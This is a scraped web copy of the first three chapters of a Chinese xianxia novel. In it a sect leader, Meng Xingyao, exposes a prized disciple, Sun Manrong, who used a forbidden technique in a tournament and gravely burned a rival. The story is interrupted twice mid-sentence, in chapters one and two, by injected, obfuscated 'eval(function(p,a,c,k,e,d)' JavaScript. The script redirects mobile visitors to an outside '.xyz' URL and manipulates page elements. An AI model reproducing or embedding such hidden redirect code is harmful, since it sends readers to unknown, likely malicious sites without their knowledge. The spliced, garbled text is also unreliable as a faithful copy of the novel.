《第一仙宗养成手册》 1. 第一章 暑气未消的风还夹着一丝热气,突如其来的一场雨,让空气里有了沁人的凉意。 高山云雾连成海,成群结队的年轻弟子们意气风发,一边轻声交谈,一边结伴御剑沿着流云山道往上飞去。 山道的终点,是清衡山最大最高的一处广场,雄伟开阔,美轮美奂,名唤云光留仙坛。 今天是归明仙府一甲子一轮的宗门比试“闻秋论武”最后的日子。 为了筹备这次的宗门大比,归属东荒西洲归明仙府座下的三十六处宗门,可谓是煞费苦心,不仅早早精心挑选了门中精英赶赴清衡山参试,更是各类五花八门的神兵法器不惜血本地用。 这场闻秋试如此受重视,只因对多数宗门来说,若是自家弟子能进入前二十名,便可有望被仙府的六大长老,甚至是三位掌门收为亲传,重点栽培,若是宗门能够夺魁,那更是人人称羡,对自身在仙府的地位大有裨益。 紧张热闹了两个月的考试,只待今天最后一场比试落幕,便是圆满结束。不同于往届,今年还会由万人景仰的掌门谢云迢亲自于云光留仙坛上向参试的众弟子们宣布结果,以及封授嘉奖。 距离他上次主持宗门大比,已经过去了许多届,故而各弟子和仙长们虽辛苦劳累,却比平日更期待兴奋。 风吹过,池上木槿如雪纷纷,孟星遥静坐在云听玉台之上,面上一如往常的淡然从容,但无人知晓,其实她有一些儿窝火。 原本她是不用待在这里的,这样的活动,筹办了十多届,具体事宜会有宗门长老和各机关办妥,往常来说,已经不需要她这等身份的人亲自坐镇。 她只用等着待考试结束,名录定好,呈到她的府邸,给她过过目,然后等闭幕大典的时候出来宣布一下即可。 只是今年恰逢要补办仙府的千岁庆典,她非常重视,连带着宗门大比亦是下了血本的隆重。除却因伤闭关的三掌门危梦之外,其他长老若无要令在身,都早早地赶回协助筹办。 而掌门谢云迢,她更是三令五申告诉他,今年的宗门大比,他必须亲自到场。 他如今是天界大红人,日夜忙碌,谁也没指望他天天待在仙府。 所以孟星遥对他的要求也不高,只要开幕和闭幕两个时间出现就行。 他倒是答应得好好的,开幕大典守时地出现了,只是露了面没多久,便急匆匆地奉天府之令外出了。 对此,大家早已习惯成自然,孟星遥也是,因此也未曾特意盯着。 可好巧不巧的是,没多久就有情报递到,说有妖兽在北海近岸惹是生非。 虽说有琅华仙谷的人在处置了,但谢云迢在回仙府的路上还是生生转了个弯,跑到北海去了。 结果便是现在来不及赶回。 收到他传信的时候,孟星遥并没有任何意外的感觉。 谢云迢身为十方仙洲出了名的打架狂魔,正道卫士,不去凑热闹反倒不符合他的性格了。 她只轻轻将信音传了回去,微微一笑。 “离闭幕大典还有一天半,你若现在返程,再抓紧一点,还来得及。可莫怪我没警示你,仙府第七十八条门规定了,未提前批准,不可私自错过门中重大事务,尤其我还提醒过你多次,真赶不上,你今年的灵石宝物、灵矿分红等,全部充公。” “这不能算私自,我是因公路上耽搁了。” 收到谢云迢传回的否决,她不为所动,轻轻弹手,便将他的千里信音丢到一旁。 懒得理他。 云听玉台上同样坐着归明仙府的诸位长老。 考试自有宗门机关的考官们负责具体的流程,这些仙府尊者们便被安排在玉台之上品茗听曲,欣赏花林盛景,灵池游鱼。 场地中间摆了两块灵音镜,能通过弟子们身上的紫玉令转送现场比试情况。同样的,底下的留仙坛也摆了三块,今天是最后比试,有许多被提前淘汰的弟子们都来留仙坛看魁首的争夺。 因为座下无弟子,对于比试的结果,孟星遥主打一视同仁,并不是很在意。 故而她一边静坐养神,一边摆弄着池苒偷偷带来,塞给她的闲书,听着座下各位长老闲谈。 天界的衡天府事务一向繁忙,除却因公请假的公孙小绫和崔少衡外,今天能来的倒是全来了,算上孟星遥,共有五个人聚在这儿。 玄明真君看了一眼孟星遥,好奇道:“掌门怎么不在?” “你还不懂他?”孟星遥浅呷了一口茶,一副见怪不怪的模样,“有要务在身。罢了,他能赶上典礼便好。我们只管定我们的。” “哈哈,我只觉得惋惜,今年的比试,如此隆重,还有许多不错的弟子,相比往年可能更精彩许多。” “你座下都有好几个好苗子了,”一旁的越风真君笑道,“云扬前阵子才立了大功,斩了几个人间作祟的大妖,被仙首给重赏了,给归明争了不少光。” “哎呀,这些都是他们应该做的,得门中栽培,自然要回报师门,方才形成正轨。” “玄明师兄说得很对。” 孟星遥瞧着他俩一唱一和,以及顾玄明得瑟的模样,轻轻转动茶杯,没接话。 她知道这人话里有话。 在座的几人里面,身为二掌门的她和谢云迢一样事务繁忙,故而未曾收过亲传徒弟。 庄越风与他关系不错就不提了,余下蔺沉光、池苒两位真君的弟子都不如他。 身为几人中间当年修为最低、修炼最困难的人,他逮着机会就要装模做样得瑟两句。 既害怕人听出来,又害怕人听不出来。 池苒真君除了是归明仙府长老外,同时也是掌门右护法,和孟星遥关系最好。 此时她俩视线对上,她悄悄翻了个白眼,也不说话。 唯独蔺沉光品茗感叹道:“还是玄明师兄运气好呀,也不知道我什么时候才能像你一样,座下有这么多优秀的弟子,在仙华天都也能仰首伸眉,独占鳌头。” “你这说的,这事不是光靠运气,主要还是实力。”玄明不满地瞥了他一眼,摸了摸自己的胡子。 蔺沉光想了想:“好吧,那就希望我也有和玄明师兄一样的实力。” 他说得坦诚,落在众人耳里却别有意味。 池苒终于没憋住,闷笑一声。 玄明瞪了她一眼。 池苒清了清嗓子,努力让自己看起来很严肃:“……呃,我前些日子在闭关,不知今年情况,听说应远进步很大,有望夺得魁首?” “是的,远儿他今年发挥挺好。”越风真君笑了笑,“不过这次梦之师兄门下的满榕也很出色。” “确实。”玄明颔首,抚须感叹,“满榕这丫头虽然平时性子傲了点,不如云扬稳重,毕竟年纪小,你们是没看到啊,她这次可是非常争气,可惜啊,梦之师兄他闭关去了,不然的话,可能有机会亲眼目睹满榕拿下魁首呀。” 闻秋试是归明仙府历史最为悠久的一场大比。若能在众弟子间拔得头筹,当之无愧是一种无上殊荣,也是修仙之路上极为重要的一笔添色。 如今天界新生代的优秀子弟中,凡是出身归明仙府的,几乎无人未曾夺过此荣誉。 尤其是今年的魁首,因与补办的千年庆典恰好在同年,更是性质特殊,竞争尤为激烈。 然而,他此言一出,玉台之上忽然陷入一瞬诡异的沉默。 余下三人面面相觑,眼神意味深长。 玄明一怔,随即想起什么,轻咳两声:“……当然,此话也不准,今年的弟子们都这么优秀,一切都还未可知,哈哈哈。” 说完他悄悄往上瞄了一眼,见玉台之上的孟星遥面色如常,方才偷偷松了口气。 孟星遥将他们几个反应尽收眼底,轻轻翻过一页纸,有些好笑。 也不怪他们有此等反应。 现今在归明仙府,有件不好公开说,但又几乎人人知道的事,那就是她不喜欢孙满榕。 此话着实是误会了。 孙满榕年纪小,天赋卓越,家世又好,是归明仙府座下第一宗门,飞雪剑宗宗主孙常德的幼女。 修士子嗣单薄,孙宗主夫妻恩爱,百来年才得二子一女,又属于这个幼女天资最好,故而孙满榕从小到大被飞雪剑宗众人捧在手里怕摔了,含在嘴里怕化了,各种天材地宝紧着喂养,又加之她确实聪颖,便一路飞升,修仙之路真可谓顺畅至极。 第一次参加闻秋试便取得了第十名的好成绩,之后更是得玉衡仙君危梦之的青眼相加,成为他座下年纪最小的徒弟。 既得仙君亲传,又性格大方,相貌美丽,修道短短百余年,已是风头无两,炙手可热。 前年她还跟着师兄宋云扬下了一趟山,除了一个作恶人间的大妖,上了云升鹤鸣榜,被衡天府授予了一枚新星宝印,在其他仙山子弟间也是小有名气。 有道是无论何种成就,都是年少成才为佳。 修仙亦如是。 故而众长老也十分看好她,孟星遥自然也不例外。 然而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664638|172938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,归明仙府身为千年大宗门,历史虽不算久,个中关系却很复杂。 虽说众长老们也是年少相识共筑大业,但各有各的脾性,再如何以大局为重,也免不了偶尔也有摩擦发生。 这其中,同属太微七曜的玉衡仙君危梦之和孟星遥便有过隔阂。 长云峰距离池华殿并不远,脚程快的俗家弟子三个时辰就到了,更别提仙家子弟,身轻体健。 但除了在东曜殿议事之外,两人就几乎没有过私交。 据知情人士透露,而一切恩怨的起因,传闻就起于一个情字。 两人不和多年,明争暗斗,直至三百年前,危梦之因故受了伤,大部分时间都在洞府内闭关修炼,静心养伤,鲜少露面。 也因如此,虽然他也是同谢云迢起于微末的生死兄弟,也曾是归明仙府手握大权的三掌门,后来除了顶个虚名外,几乎不掌管清衡山要事,将权力悉数让出。 即便门中对长云峰多有照拂,也免不了令人觉得玉衡仙君有几分可怜,如今竟被孟星遥排挤至此。 而孙满榕这人,也不知道是她年少成才,太过自负,还是性格骄纵,眼高于顶。 居然替她的师父,玉衡仙君打抱不平,对孟星遥也不甚尊敬。 孟星遥心知肚明她背后是谁的意思,好在她也不是泥人脾气,只令公明堂以门规训诫,便将她那恃才傲物的大小姐脾性压得不敢再明着放肆,从此安生了不少。 他们觉得她会将此人放在心上,着实是误会了。 就在此时,玉台中央的两块灵音镜,其中一块突然迸发出剧烈的红光,一簇诡异妖魅的火焰,竟在画面上腾烧起来! 其势盛大,夺目骇人,仿佛要透过镜面蔓延出来。 在场众人原本还在闲谈,见此情形,俱是一惊,纷纷起身。 未等人反应,高位之上的孟星遥已经拂袖而来。 她蛾眉微蹙,抬起左手轻点,顿时感觉有一股力量阻碍着自己。 “守其真形,秽气绝散——破!” 话音刚落,她灵气运转,两指作刃,凌空劈下。 灵音镜上画面一滞,随即无数裂缝随着她的动作从镜面上碎裂开来。 下一刻,红光溃散,镜中画面流转。 只见铺天盖地的烈焰熊熊燃烧,漫天覆盖着真火烈乌的居所。 这只作为内考武试最终关之一的大妖已然死亡,黑色巨大的原形肉身躺倒在地,往外流着无尽的鲜血。 闻秋试的最终考题,每届都不尽相同,今年的考题为锁妖塔历练。 作为最后一关的镇守妖兽,真火烈乌虽为大妖,但对于能闯到最后一关的归明仙府弟子们而言,它并非什么难题,此番考试也并非要他们暴力杀死,而是协作智取。 真火烈乌以炽焰真火为功法,主火属。传闻是金乌一族的旁支后裔,本体是一只周身萦绕着火焰的巨大黑乌鸦。 这只是之前谢云迢在渡云谷抓到的,顺手就给丢进百妖秘境里镇压着。 此妖身亡,身上的火焰也会随之熄灭。 可奇怪的是,这只明明死了,那黑色的妖气却凝聚不散。 地上到处是洒落的妖血,形状骇人,满场混乱。妖巢中央被人布置了一道威力强大的阵法,漫天烈焰,在流淌成河的妖血之上肆意燃烧着。 阵法的中心伫立着一个女弟子,她身着归明仙府绣着金虎云纹的浅白弟子服,手持金色宝轮,威势逼人。炽热的焰火焚尽一切,却在她的一尺之外停驻,犹如等待命令的忠心信徒。 而在她的不远处,另一位弟子浑身裹着巨大的火焰,像一颗火球在空地处滚动,痛苦哀嚎。 其余两名弟子瘫倒在地,都吓呆了。 灵音镜中,那名弟子抬起头。她长着一张令人喟叹的姣好面容,会让人见之不忘。 孟星遥认得她。 这就是归明仙府三掌门玉衡仙君危梦之最小的爱徒,也是这一代弟子里最名声大噪的一位,孙满榕。 都说她长得有那么三分像她,可惜性格骄纵,徒有皮相,不得半分真神。 此时,她的脸上沾染了不知是谁的鲜血,神情彷徨悲哀,反而多了几分夺目迫人的美貌。 似乎感受到了来自灵音镜的凝视,孙满榕猛然转过头,目光灼灼,仿佛能透过这一方屏障与她对视。 下一刻,镜中的画面刹那黑去。 玉台之上喧哗一片,孟星遥眼神冰冷锋利,沉声下令:“来人,速去百妖秘境救人!” 2. 第二章 随着定古钟的声音落下,这一届的闻秋试终于落下了帷幕。 真正的纷争却仿佛才刚刚开始。 百妖秘境里发生的事,已经通过灵音镜让人一览无余。众弟子尚因震惊而交头接耳时,宗门机关公明堂已迅速出动封锁现场。 那群身配玄铁令的执令弟子很快从秘境里带出了好几个人。 那走在最前头的人不出所料,正是在宗门内颇有名气的孙满榕。 她身上灵力大涨,虽略有些魂不守舍,但转瞬即逝,出来时步履轻盈,肃容高洁,仙姿难掩。 顶上隐隐有八瓣白莲显现,这是刚破境时特有的标识。只是这八瓣白莲,却不同寻常地隐隐泛着红光。 * 孟星遥一进屋,百药宗的人便急忙对她行礼。 她摆摆手,询问道:“情况如何?” “回尊上,救下得及时,紫玉令护体,加之根基不错,保下一条性命,只是心印真火太过凶险,伤势严重,恐怕完全恢复也得费些功夫。” 答话的人是百药宗宗主白芷,她了解孟星遥的脾气,此时也不跟她客套,直接拨开帘子让其进了内室。 榻上躺着一个昏迷不醒的女孩,神情痛苦,浑身烧伤,发梢焦黑,身上的伤口已被妥帖包扎,可仍有无法处理的地方,裸露出的皮肤皲裂开来,红一块黑一块,可怜又可怖。 空气里弥漫着清香苦涩的草药味,一看就是费了不少上好的伤药。 孟星遥伫立榻前,接过她递来的册子。 这名受伤弟子名叫宁音,来自人间境东荒南洲越阳国,家世清贫,是个孤儿,早早踏上仙途,所得评价皆是刻苦努力,于百年前得偿所愿,被收进了归明仙府座下的清河道宗。 资质尚可,但在人才济济的归明仙府远算不上优秀,算是踩着及格线进来的。 好在她天性乐观,性子活泼,仗义直爽,虽只是清河道宗的普通弟子,但依旧勤奋刻苦修炼,认识她的人也不少。 她和孙满榕会有矛盾,看似无理,又很合理,在弟子间也并非什么秘密。 一个性格骄纵,千娇万宠,一个出身草根,自信直率,加上飞雪剑宗和清河道宗本就有过摩擦,每次一碰上,那便是针尖对麦芒。 而且两人修道的时间相差不大,修为也相近,这次的宗门大比对她俩来说都十分重要。 只是平日吵吵闹闹也就罢了,没人能料到,在这般要紧关头,两人居然还能起了争端。 依据孙满榕和其余两名弟子的口供,皆指认是宁音为了争夺魁首,独占鳌头,便趁几人全力布阵施法之时,出手偷袭,孙满榕出于自卫,被迫打伤了宁音。 宁音此举还差点令真火烈乌挣脱桎梏,陷众人于危险之中。 清河道宗的人自然不相信这种说法,其宗主陆源康立刻带人也赶到了东曜阁拜见各位尊者,以求保下宁音。两边宗门狭路相逢,端的是暗潮汹涌,剑拔弩张,因是在仙家贵地,才不敢肆意妄为。 现场妖火肆虐,几位弟子所佩戴的紫玉令皆被损毁,无法得知真相,唯一可确认的是,伤了宁音的是归明心法中最为基础的一招法术。 天界神庭坐落东荒中洲,以“三垣守世,四象拥天”的格局分封东荒。归明仙府坐落西洲,受封西象白虎之权,功法威猛,尤擅杀伐。 归明仙法的其中一招便唤作心印真法,是弟子一入门便要学的基本法术,可掌控五行之力化为己用,而伤了宁音的便是心印真火。 白芷说:“好在宁音运气不错,金丹还未完破碎,否则就连我们也回天乏术,只是可惜……” 她后面的话没说全,但孟星遥也能明白。 虽说灵脉和丹田处的伤口已被修补了一番,但先前的伤势已经让的灵气溃散,修为大损,可谓是前功尽弃。 对于一个修道者来说,这未必不比一命呜呼更难受。 孟星遥很快将案卷看完,最后目光落在了其中一行字上:“宁音的灵脉和金丹不仅被烧伤,且灵气近乎枯竭?” “是的,”白芷点头,“这也是我要同您说的,按理心印真火不该能造成此状,有些蹊跷,不过说来奇怪,如此严重的伤,宁音还能留有灵气周转,保下一条命,委实运气好。” “那孙满榕是何情况?” 白芷沉默了一下,摇了摇头:“她不许我们碰她……毕竟境界突破时,灵气加持,会修复伤处,她说自己无恙,又身份特殊,我也不好勉强。” 倒是意料之中的事,孟星遥并不意外。 孙满榕一踏上修道之路便崭露头角,傲视群英,而增进过快后的代价便是修为停滞多年。 幸运的是,她此番因祸得福,逢其仙缘,不仅成绩远超他人,魁首已是囊中之物,而且还直接升境,超过曾经的宋云扬,成了最年轻的天知境弟子,距离登仙只差一步之遥。 前途可以说是一片光明,她妄自尊大,不难理解。 “不过,”白芷狡黠一笑,“我派弟子跟着池长老一同去戒律塔了,想必她再不愿也没辙。” 孟星遥点了点头:“此事棘手,辛苦你们了。”白芷忙行礼道:“职责所在,愧不敢当。尊上客气了。” 清衡山的人都知道,归明仙府的掌门是谢云迢,但是清衡山的人也知道,谢大仙尊战力无双,除魔卫道,是天界待新封的战神,他没有那么多时间管理仙府杂务,故而清衡山的实际掌权者,其实是他的师姐,孟星遥。 甚至在十方仙洲,这也是人尽皆知的事。 孟星遥冲白芷点点头,后者心领神会,合上施了术法的春草灵鹿双扇屏风,将万千嘈杂屏退在外,为她辟出一方静谧之处。 手掌翻转,掐诀吟咒,孟星遥阖上双目,指尖灵光微闪,悬于宁音的额头。 汇天地元气,救千伤万苦。泛着淡淡青金色光芒的真气凝于她的指尖,慢慢流淌过去,游走遍宁音的全身。 因其功法使然,那些伤口也被柔和的光芒所包裹,坏死的地方被一点点填补起来。 白芷的检查巨细无遗,情况和她案卷记录得分毫不差。宁音的灵气尽数被吸走,气若游丝,却仍有一丝灵力在护佑着她的金丹。 青金真气轻轻包裹宁音的金丹,修补疗伤,此时忽有一丝灵气分散出来,轻轻缠住了她,领着她往识海方向游去。 孟星遥有些讶异。 识海乃是修士最为隐秘之处,若非自愿开启,则非修为高深者不可进,否则两败俱伤。故而白芷不敢深入检查,待宁音康复,可自行疗伤。 但孟星遥可不一样。 她荡开神识,便探入其中。她的修为远在宁音之上,妙华心经可渡万物,经她施展,更是如春风一般和煦温柔,无人可抵抗。 玄真境的弟子,识海已自成方圆,别有洞天,可宁音的识海却被一片大雾掩盖,孟星遥只能看到以己为中心的三尺开外之物,不多也不少,待她走过,身后的景色又会迅速被大雾吞没。 她没有轻举妄动,无论修为如何,她在此处都是一个闯入者,乱作改动,要么她被逐出,要么识海坍塌,无论哪一种都不是她想看的。 虽然可以看见的距离并不远,但随着灵气带她往里深入,仍可逐渐看出这是一座古城,亭台楼阁,鳞次栉比,可是徒有大概,不甚真切。 识海之中的场景,素来依修士心中最深的期盼而生,孟星遥猜不出这是哪儿,但依据宁音的经历,她姑且猜作是她越阳国的家乡。 街道不大,因灵力有限,显得略微粗糙与荒芜,地上的灰烬与余火倒是分明,这是心印真火留下的痕迹。孟星遥蹲下身子,手指轻拂,那余火便冒出一团黑雾,随后消散不见。 指引她而来的灵力似乎力竭,挣扎了两下,彻底消散了。 孟星遥抬起头,这里的一切都是雾蒙蒙的,唯独现在伫立在她跟前的东西是清晰。 顺着那如水一般流淌一地的余火望去,一片弥散着黑色雾气的灼热焰火,如有触手一般呈大字形攀援而上,笼罩在一件物什之上,诡异妖冶,竭力吸取着周遭仅存的灵气。 感应到她的到来,那烈焰如有生命一般,忽地膨胀起来,朝她猛扑而来。 素色飘带自袖中翩然飞出,生生挡住这一击,孟星遥不慌不忙地翻手结印设界,一道金网自她掌中显现,瞬间铺天盖地,笼罩四周。 足以净化万物的咒文禁制在金网上旋转,金光绚烂,任凭那烈焰如何仍然奋力挣扎,横冲直撞,试图脱开金网的掣肘,都无济于事,最终随着金网的逐步缩小,被彻底收拢了进去。 金网收回掌心,她触及那团焰火,眉头紧蹙。 来百药宗之前,她和池苒等人就在百妖秘境里搜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664639|172938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻过一遍,孙满榕此番突破机缘巧合,多少有些奇怪,但残留的妖火,以及这几名弟子留下的阵法禁制都没什么异常。 如今看到这团真火本体,她心中终于有了点眉目。 而随着焰火褪去,迷雾散开,方才那被掩盖的物体也映入她的眼帘。 是一块饱经风霜的石碑,与周遭的场景十分格格不入,更奇怪的是上面竟刻满了大荒古文绘制的咒文,那密密麻麻的字体长短不一,似乎组成了一个字。 孟星遥回忆了一会,想起这是大荒古文里的音字。 是宁音的音? 石碑之上,散发着淡淡灵气,这下彻底明了,那护佑宁音的灵力到底从何而来。然而还未等她看清,周遭的迷雾忽而渐起,将那石碑又渐渐隐去。 耳边传来白芷唤她的声音。 “尊上,池苒长老回来了。” 孟星遥回过神来,看了一眼宁音,她方才痛苦的表情已变得平和,仿佛只是睡着了。 池苒在内室里等着,孟星遥进来的时候,她正给自己倒茶喝,一壶满满的龙团胜雪都快见了底。 “哎,你可来了,你都不知道那丫头的嘴巴有多硬。”池苒一见到她,嘴巴就跟连珠炮似的停不下来,“我和泽兰都摁着她了,她还不让我们检查,还说要等掌门回来去告我们,哟哟,这话说得,可真把我吓死了。” 孟星遥微微一笑,见怪不怪:“倒是她的性格,所以你有什么收获吗?” “那当然,我池苒出马,还能有失手吗?”池苒摇了摇手,便有一本书册出现在她的手上。 “五十年前的九月初三,玉衡仙君曾经短暂出关过一天,当晚于万卷藏书阁禁地借走了这本古籍,次日便归还了,而这册摹本,刚才被我从孙满榕房间的暗室里给搜出来了。” 清衡山,戒律塔。 巍峨屹立的石塔高不见顶,如鹤飞天,刺入云端,层次分明的塔身之上未作任何点缀,只保留了岩石最原始的灰色,反而让岁月在它身上留下风吹雨打的痕迹越发隽永。 古朴、沉闷,一如它的名字。 戒律塔的每一个房间都装了很厚的隔音石,狭小憋屈,与世隔绝,灵气稀薄,在这里待上一个时辰,便会身苦心闷,与闭关修炼是截然不同的感觉。 这是归明仙府用来关押、惩戒犯错弟子的地方。 凡是来自清衡山的弟子,都曾听说过归明仙府公明堂的威名。 维护秩序,执行赏罚,但凡有弟子犯错,都会被关进戒律塔以示惩戒。 好在仙家宽容,大多也就是闭关思过、罚以杂役等。至今为止,还少有弟子被惩以最严峻的刑罚,那便是被以九天雷刑废去仙法灵根,遣回凡尘,了却仙缘。 没有弟子不害怕来这个地方,再深的反骨,顶多被关一个时辰,也便老实认错,不敢再犯。 孙满榕却并没有很深的感触,她所在的禁闭室与其他房间相比,不仅宽敞许多,甚至给她备了靠椅休息,放了一壶茶水和精致的糕点盘。 她静坐在那里,一闭上眼,脑海里便不由自主地浮现出宁音在她跟前痛苦翻滚的模样。 心脏在剧烈的跳动,似乎有一簇妖冶如血的火苗,正在她的丹田里疯狂燃烧,令她的额上都沁出几分汗水。 禁闭室的大门是特制的灵物。此时,那扇厚重的石门渐渐变得透明,公明堂堂主钟雄和他的两个心腹手下又出现在了跟前。 “同样的问题,你们要问几遍?”孙满榕按下不舒服,语气不耐道,“要检查也检查了,要问也问了,说了是宁音先袭击我,我才会回击的,到底什么时候放我出去。” 钟雄叹了口气,他有心卖玉衡仙君一个面子,奈何孙满榕不领情。他轻轻往一旁退开,俯身行礼:“尊上,这里便是了。” 孙满榕一怔,便有一抹由池苒陪着的绰约身影,自他身后缓步走来。孟星遥静静地看向这边,明明什么话也没说,却令她心里无端地一慌。 只是迟疑了一瞬,她倏地起身,迤迤然地行了一礼:“长云峰弟子孙满榕,拜见尊上,池师叔。” “你们都先退下吧。”孟星遥吩咐道,其余人很快领命退了出去。孙满榕抬起头,看见池苒离开前瞪了自己一眼,充满了防备和警告,不由令她生出几分忐忑。 禁闭室很快只留下了她和孟星遥。 3. 第三章 禁闭室的石门缓缓开启,待孟星遥走进,又在她的身后合上,发出沉闷的声响。 孙满榕努力挺直腰杆,与其对视,想保持住自己一贯傲人的气度与风姿。 什么归明仙府的实际掌权人,什么万人之上的太微七曜之一,什么十方仙洲第一美人。 纵然是又如何,再过三百年,她一定也能登上这个位置。 她已经是十方仙洲最年轻的天知境弟子,只要再多给她一点时间,她必取而代之,这些赞扬称颂的话,将同她的名字写在一起。 然而,随着两人一步步接近,却有一道无形的威压落在了她的身上。 顷刻间,孙满榕感到如有千万斤的枷锁上身,逼得她承受不住倒退两步,扑通一声跌坐了下去。 明明孟星遥那张美丽的脸上什么情绪也没有,只是淡淡地看着她。 她忽然有点后悔,腹部那份隐约的疼痛,似乎越发厉害。 “我……我……”她张了张口,想像从前那般虚张声势一番,却喉间晦涩,竟是一时哑口无言。 孟星遥在离孙满榕五步远的地方停下了脚步。她没有像孙满榕担心的那样对她的窘样多说什么,只是轻轻抬起了手,随后手掌优雅翻转,作了一个下按的手势。 然而只是这么一个简单的动作,却令孙满榕刹那有了一丝不祥的预感。 自被关进来后,她预想过很多可能的提问,也想过了很多回答的内容,无论多坏的问题都被她提前想过,自认为已经做到滴水不漏。甚至还暗戳戳地想,如果孟星遥被她激怒,她该如何高雅端庄地反将一军,大赢特赢。 她知道外面有很多人在替她说情,努力维护她,只要从这里走出去,判了她无罪,哪怕受了点小罚,不,凭她的地位和师父的身份,连小罚都不会有,从此她就可以平步青云,扶摇直上。 只要迈过这个坎,她便可顺利成为千万年来最年轻的仙人,等待她的就是无限光明的未来。 可是,这个孟星遥,她怎么什么都不问,她为什么什么都不问啊!? 不祥的感觉冒出来的瞬间,她转身想逃,可这逼仄的小室又能逃到哪儿去,甚至她还来不及转身,那迫人的威压便已经将她按在地上动弹不得。 她僵在原地,那灼人的痛感从丹田处腾地一下冒出,须臾之间遍布全身,疼得她瞬间直冒冷汗,随即有什么东西从她的体内钻了出来,攀爬盖住她的五感,逼得她张开嘴,却发不出任何声音。 冲天的金气夹杂着黑雾,从她的七窍处猛地冲了出来,形成一股巨大的旋风,张牙舞爪地朝孟星遥扑了过去,想给这个硬拉它们出来的女人一个狠狠的教训,却在靠近她的那一刻,被吸入了一个小小的玉质葫芦里。 孟星遥的口中轻吟,念念有词,语调温柔。这咒语如一张密不透风的网,将一切动静圈在这方寸之地。 那黑雾彻底离开了孙满榕的身体,却也带走了她很多修为与灵力,她的七窍滴着血,鲜红的血液将那姣好的面容搞得污浊一片,狼狈不堪。 她的五感刹那消失,却又在黑雾离开的时候逐渐恢复,一股淡淡的灵力包住了她,将她的鲜血止住,她艰难地撑起身子,恍惚间似听见了一声悠远的叹息。 “……你,你做了什么!……” “有两件事,你想先听哪个?” 腹下传来疼痛,孙满榕掐诀点在自己的丹田处,她能感受到那里空了一大片,缩小了十倍不止的金丹上遍布裂痕,她喘着气,努力抬起头。 那人垂眸静观,优雅地端着手,脸上依然是平和一片。 仿佛那差点让她死去的动静在她眼里什么也不是。 “第一件事,宁音没死。” 孙满榕眨了眨眼睛,她重复了一遍最后四个字,似乎有一瞬间的迷茫,随后瞪大眼睛,难以置信地看向孟星遥:“她没死?” “第二件事,你窃取你师父的令牌偷进禁地一事,我们已然知晓。”孟星遥说,“偷习大藏心经,又对同门下手,你可认错?” 孙满榕爬了起来,靠在了墙上,如今她已经顾不得什么风度,只想让自己舒服一点。 “果然瞒不住你们……”她呢喃道,又咬牙切齿看向她,“认错?如今我得到魁首,又连升三阶而升境,此乃我之仙缘。何错之有?” 她挤出一丝虚张声势的笑,可是下一秒,腹部传来的锥心疼痛又让她瞬间失了声。 孟星遥将葫芦放回袖子里,轻轻拂了一下衣袖。她本想转身就走,但看了孙满榕这般模样,还是没忍住开了口:“魁首之位,绝非靠作弊而来。” “倘若你想用此法,得道成仙,那你便大错特错,修仙之道,从无捷径可言,我言尽于此。” “世间法术千千万,难道你是唯一圭臬吗?”孙满榕不甘地抬头看来,“我查过,这原本算不得禁术。” “所以你疼成这样,还觉得不该封作禁术?” 孙满榕一噎。 孟星遥继续说:“这里既是归明,是与不是,那便由我说了算。” “……哈哈哈哈哈,”孙满榕像是听到了什么很好听的笑话,笑得颤抖起来,“你说了算,你说了算……这里有掌门师伯,又有六大长老,归明什么时候成了你的一言堂了?你敢处置其他人又如何,我师父是什么身份,我犯了这点小错,你难道就敢越过他就把我抽筋剃骨,废绝灵脉赶下山吗?” 她挑衅似的看向她。 “我在这个年纪,已经是天知境弟子,我师父当年受你迫害,如今也将登上仙之位,我们长云峰不会永远受欺负,你以为归明仙府永远是你一个人独揽大权吗?” 没有想象中的生气,孟星遥依旧平静地看着她。 “你师父就是这般教你的?” “最年轻的仙人啊……你当外面的人为何宠着你,捧着你?想来你也清楚,不然为何冒着这样的风险,也要追求这样一个虚无缥缈的名号。” “你现在修为大损,境界倒退,外面的人若是知道了你所作所为,会如何看你,你又会如何自处?还有你最爱的师父,若知道你偷盗他的令牌,去藏书阁禁地窃取禁书,又会如何待你呢?” “你还觉得,需要我出手?” 孟星遥,她想,你还是修炼不到位,修仙之人当致虚极,守静笃,怎还是如此图嘴上痛快,与小辈这般计较。 孙满榕的表情凝固在脸上,丹田处的疼痛渐渐转成炙热的烧灼感,愈演愈烈,像是要把她吞噬了一般,令她无暇再顾及孟星遥在说什么。 “从此出去后,你回长云峰闭门思过吧,以后如何,全凭你的造化……” 她的话音未落,忽见眼前那原本缩作一团的女子猛地腾空而起,身形张开,灵气大涨,瞳孔里散发着炽热的光芒。 以迅雷不及掩耳之势,闪电一般地朝她扑来! “我杀了你,我要杀了你!” 秀白的手指化作利爪狠狠劈下,眼见得就要撕开孟星遥的天灵盖,却在即将触及她的瞬间,有金色的光芒从孟星遥的身上荡开,向四面八方铺展开去,最后形成了一个夺目的光环将她温柔地笼罩起来。 无垢净光,诸暗不近。 孙满榕被如有实体的光芒毫不留情地撞开,砰地一声狠狠摔在了地上。 “大胆!” 躺倒在地动弹不得时,她看见池苒带人迅速冲进来护住了孟星遥。腹部的疼痛渐渐消失,身上的疼痛开始占领知觉。 真好笑啊,她想,仿佛她能对她做什么一样。 世界陷入黑暗之前,她咬牙强撑着,如愿看见面前那故作慈悲的女子脸上有了裂痕。 她冷冷看着她,那一向平静如水的眸子里终于有了一丝愠怒。 